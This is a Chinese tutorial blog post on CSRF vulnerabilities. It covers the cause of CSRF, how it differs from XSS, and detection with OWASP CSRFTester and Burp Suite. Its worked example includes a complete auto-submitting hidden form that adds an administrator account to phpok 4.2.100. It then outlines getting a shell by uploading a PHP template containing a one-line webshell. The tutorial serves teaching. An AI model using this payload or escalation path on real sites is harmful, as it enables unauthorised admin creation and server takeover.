当前位置:网站首页>DAY17、CSRF 漏洞
DAY17、CSRF 漏洞
2022-07-30 04:20:00 【EdmunDJK】
DAY17、CSRF 漏洞
1、CSRF 漏洞简介
CSRF 的全称是Cross-site request forgery,即跨站请求伪造:
攻击者在被攻击者毫不知情的情况下以被攻击者的身份伪造网络请求发送给受攻击站点,从而在未授权的情况下执行在权限保护之下的操作,具有很大的危害性。
具体来讲,可以这样理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
2、CSRF 漏洞成因及原理
在进行操作时,程序未对操作请求的来源及用户进行效验。
3、CSRF 漏洞简与 XSS 漏洞的区别
CSRF漏洞:
攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击
XSS漏洞:
攻击者发现XSS漏洞——构造代码——发送给受害人——受害人打开——攻击者获取受害人的cookie——完成攻击。
XSS容易发现,因为攻击者需要登录后台完成攻击。管理员可以看日志发现攻击者;
CSRF则不同,他的 攻击一直是管理员自己实现的,攻击者只负责了构造代码。
4、CSRF 漏洞检测及利用
(1)(服务器对客户端的信任)用户已获取服务器认证,登录网站, 并在本地生成cookie(已进行网页认证)
(2)攻击者(或黑客)提供的恶意链接,受害者必 须在不登出存在漏洞的网站,同时使用同一个 浏览器打开(可通过社工的方法)
(3)网站除了验证Cookie,没有特殊验证方法
4.1、第一种方法:
使用 OWASP CSRFTester 工具进行检测。它是OWASP推出的CSRF半自动化软件,他省去了CSRF最繁琐的过程-------代码构造。 使用代理抓取我们在浏览器中访问过的所有的连接及表单等信息, 修改相应的表单等信息,重新提交,如果测试请求成功被网站服务器接受,则说明存在CSRF漏洞。
4.2、第二种方法:
使用 burpsuite 对 CSRF 漏洞进行检测。 首先抓取认为可能存在CSRF漏洞的请求数据包,然后查看是否存在 token 或 referer 验证。 如果不存在验证则可能存在 CSRF 漏洞 , 此时可使用 burpsuite 的 Engagement tools 去生成 CSRF 漏洞的 PoC ,去验证 CSRF 漏洞。
5、CSRF漏洞实例
phpok4.2.100CSRF任意添加管理员账号:
一、构造一个添加系统管理员的表单
<div style="display:none">
<form action="http://1xx.xxx.xxx.xx8:8081/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input typ e="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script> var t = document.poc; t.account.value="666666"; t.pass.value="123456"; t.status.value="1"; t.if_system.value="1"; document.poc.submit(); </script>
</div>
二、管理员访问此页面
在管理员账号登录的状态下,访问这个表单。
这时候就能够成功的创建一个管理员用户
三、在后台管理里找到风格管理>>文件管理,选择创建模板文件,写 入名字的时候填入xxx.html,抓包修改后缀名为php,如下图所示:
四、在文件管理中,选择一个文件,进行编辑,然后改名字。
(1)例如,如下图的 book_list.html
(2)编辑,在其中加入一句话木马
(3)提交,然后改名字。
五、访问。
(1)由页面最下的提示,可以猜测路径。
(2)访问页面
(3)蚁剑连接 getshell
边栏推荐
- vscode debugging and remote
- 【C进阶】数组传参与函数指针
- 海外多家权威媒体热议波场TRON:为互联网去中心化奠定基础
- MySQL data query (subtotal and sorting)
- 数组和结构体
- JQ源码分析(环境处理)
- OA Project Pending Meeting & History Meeting & All Meetings
- 数据库概论 - MySQL的简单介绍
- MYSQL 唯一约束
- Pytorch framework to study record 6 - the torch. Nn. The Module and the torch nn. Functional. The use of conv2d
猜你喜欢
WEB 渗透之信息收集
Forum management system
When the EasyNVR platform is cascaded to the EasyCVR, why can't the video be played after a while?
Thinkphp 5.0.24变量覆盖漏洞导致RCE分析
Go 学习笔记(84)— Go 项目目录结构
为什么突然间麒麟 9000 5G 版本,又有库存了?
Pytorch框架学习记录3——Transform的使用
How to Effectively Conduct Retrospective Meetings (Part 1)?
【C语言】程序环境和预处理
Pytorch framework learning record 2 - the use of TensorBoard
随机推荐
05全局配置文件application.properties详解
宇宙的尽头是银行?聊聊在银行做软件测试的那些事
Data Lake: Data Integration Tool DataX
MySQL data query (subtotal and sorting)
@WebServlet注解(Servlet注解)
sql statement - how to query data in another table based on the data in one table
[The Mystery of Cloud Native] Cloud Native Background && Definition && Detailed explanation of related technologies?
How to compare struct, slice, map for equality and the difference between several comparison methods in golang
cv2.polylines
厦门感芯科技MC3172(1):介绍和环境搭建
骁龙7系芯片表现如何?Reno8 Pro佐证新一代神U
新型LaaS协议Elephant Swap给ePLATO提供可持续溢价空间
js 操作在当前日期加减(天、周、月、年数)
How does the AI intelligent security video platform EasyCVR configure the simultaneous transmission of audio and video?
Mysql版本升级,直接复制Data文件,查询特别慢
使用EFR32作为Zigbee/Thread的sniffer的用法
MySQL 操作语句大全(详细)
[SQL] at a certain correlation with a table of data update another table
Atomic Guarantees of Redis Distributed Locks
【驱动】udev为USB转4串口的每个串口起别名